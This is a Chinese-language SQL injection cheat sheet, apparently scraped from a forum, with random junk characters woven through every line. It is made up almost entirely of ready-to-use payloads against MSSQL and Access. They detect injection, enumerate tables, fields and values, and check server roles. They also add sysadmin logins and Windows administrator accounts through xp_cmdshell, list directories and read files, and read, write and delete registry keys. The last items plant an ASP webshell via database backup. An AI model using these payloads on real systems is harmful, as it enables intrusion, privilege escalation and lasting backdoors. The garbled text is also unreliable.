手工脚本注入
' t5 H% ]! {5 D$ ]1.判断是否有注入;and 1=1 ;and 1=2
* g' C( K( |! `$ |" C" B9 R; [
9 E n3 f. |, g2.初步判断是否是mssql ;and user>0
2 m, b$ z0 n8 [% l" \4 k, w1 [/ ~/ Z/ g \ G: s/ q( }) y) s# A
3.注入参数是字符'and [查询条件] and ''='
- x ?. c1 L! i' c. d2 F5 b9 V! v
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& `' c4 Q( C, S5 u, {+ N+ g
3 \, {6 j, N7 F/ I6 j2 @5.判断数据库系统 8 X. ], D) A" T9 P5 R- ?8 `
;and (select count(*) from sysobjects)>0 mssql
$ i# r5 s' W- u4 |% E) a: P. x;and (select count(*) from msysobjects)>0 access
- U8 T+ A( M5 v% A4 o: W3 I1 ^. f, d: d
6.猜数据库 ;and (select Count(*) from [数据库名])>0
) F" M' [ Y, S# D# V8 H1 d& B+ r1 }+ {3 X3 K
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
* ]" g& ?: H1 Q# A3 d# U& L3 I, g9 n; F, U
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]) Z) R4 L4 T* f0 S3 M" U, {) P
) H/ _4 C; V4 U- G3 p. T9.(1)猜字段的ascii值(access) ' H% p1 A% x: \% I: J2 m$ }
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ) D8 x" N- a, j p
# }' u& U& P- P2 U(2)猜字段的ascii值(mssql) 2 e4 N/ t' C! P& ^7 z
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ( l. h* L) a5 k* H: x5 R
" g- M( r6 S4 R5 I1 C& Q9 g10.测试权限结构(mssql)
8 k6 b7 ?, b. K6 d$ k3 y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 W, K8 R" n1 J, w9 m5 A;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 Q. X* x& i0 b* C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4 j" [5 {' G; B2 n! j: x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 0 H8 t% K1 z. L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- . }6 X9 \, H; \+ u6 p
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
$ G( C$ P, O; n: E+ A; n9 p* [. Y;and 1=(select IS_MEMBER('db_owner'));--
, g4 h+ p2 z6 ~' g, a! w) |8 \6 ^# \+ l2 V/ f/ d
11.添加mssql和系统的帐户
/ E+ ^- L/ q; T" I) H0 g5 T g;exec master.dbo.sp_addlogin username;-- 7 }+ j: U# E$ W; c3 y" c# D
8 Q( K: t# K3 `6 D
;exec master.dbo.sp_password null,username,password;--
7 s/ Q i( V" b3 g
/ z( @3 ?. `; d1 k3 A;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9 z) F- R* `7 p! b2 K
5 q* ~' Y' u3 L
;exec master.dbo.xp_cmdshell 'net user username password 8 j1 E, a' P/ z& T) G+ b* N& Q
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- - J8 e" m U: ?. n
; N& T9 B( ^8 ]* N# y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- : x2 T( s8 {$ [% a+ a
- G' M5 T4 `% l% K% t( @* T! B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : X% A6 {1 b6 X4 S, x
4 @3 [3 s3 w; f$ T
12.(1)遍历目录
) Z# |- J/ h! q3 j0 ]: \# m: H
7 H7 b! V S) S; s;create table dirs(paths varchar(100), id int)
# i0 l/ c) O/ q* c* b) ^;insert dirs exec master.dbo.xp_dirtree 'c:\'
. } i$ V1 A2 S4 g# T;and (select top 1 paths from dirs)>0 ! N1 N* B" r# u% t3 _: l, K
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
6 [, k% n" t! q. _/ V) R+ b% w6 D$ |1 g! p
(2)遍历目录 ; w1 {$ }" Q; v* g
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ J, H6 m. K2 V: x/ N Y' c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! w5 g% a( @1 j: m: B;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& L. b/ e, u" o5 j' W, F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5 }: ` u3 F5 j' K& S7 }- d7 Y3 N
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ; H# _6 x7 q7 G
1 W D6 F5 o# [) w8 h' ^
13.mssql中的存储过程 , H" p# V4 ?8 T
) c- }9 y6 o3 q) u6 p+ t7 kxp_regenumvalues 注册表根键, 子键 4 V; X, U- e" V+ T
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 Y$ t+ J5 A" J8 X& p( e
" K" F! }) f5 i* U- y/ E/ Fxp_regread 根键,子键,键值名 3 |# M! `+ p* q! a9 w7 Q9 M
;exec xp_regread
0 {% ^, s: n0 i) c# T- i'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( k6 u5 m6 z7 L* d, V# |
7 \8 A% A! k4 F$ y7 N. M8 e
xp_regwrite 根键,子键, 值名, 值类型, 值
- v# |, ?* Y. A" H) c值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 c2 J: a" w4 V; r;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 2 I9 C( _: {! m" L5 N9 s
$ R9 T9 n4 m+ b" e1 ?- U. W& |7 b
xp_regdeletevalue 根键,子键,值名
' p1 B4 J9 e3 m( V/ N% y, e/ K. H7 P$ r4 x6 g; M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
4 v0 ^! l: _* M" C& t5 S3 _) i, W
# {: I/ \( [/ y4 Oxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( b" e! ]0 s- E0 t4 b
+ |9 Q" U2 w* o* k h& Z: H8 D$ |
14.mssql的backup创建webshell 3 f! d1 I: b( J1 G# U. y
use model
. a, U' j* O7 J2 T+ U% acreate table cmd(str image); ' p2 g. [% x# `% E, J! X9 s1 o4 P/ W
insert into cmd(str) values ('');
p p% ~+ [, A; d ~3 u1 Obackup database model to disk='c:\l.asp';
# y+ i1 n/ ^2 S& z) D0 q6 H; \
2 B/ |+ J1 d4 ^' h6 {15.mssql内置函数
- F. W1 s$ R* W$ G# q;and (select @@version)>0 获得Windows的版本号
8 p3 ]% p+ o! j7 k7 k U: p;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5 l& G Z! Y7 n3 B& x/ L
;and (select user_name())>0 爆当前系统的连接用户
& ~9 D2 r1 ~) ~6 k6 N;and (select db_name())>0 得到当前连接的数据库
t, b e8 g7 x7 s% L" ?
) \; z6 {0 v( Q4 t# g) n16.简洁的webshell - K0 V4 l X7 D. K5 p
" }5 ]/ R; E( s* D0 b7 N5 ]use model & ]" _: o1 h7 C: T6 t1 S
- ]9 f( ]( S# U" ^create table cmd(str image); ' N3 N- G6 |7 t& X4 {
$ D7 u/ z# A- Xinsert into cmd(str) values ('');
" G8 t, n0 W$ a
+ ]5 \# n3 a" j3 Z/ E) Fbackup database model to disk='g:\wwwtest\l.asp';
# V" e7 B) W0 B0 P- V7 v) ^: g
- A2 n1 w7 \ C% I) s |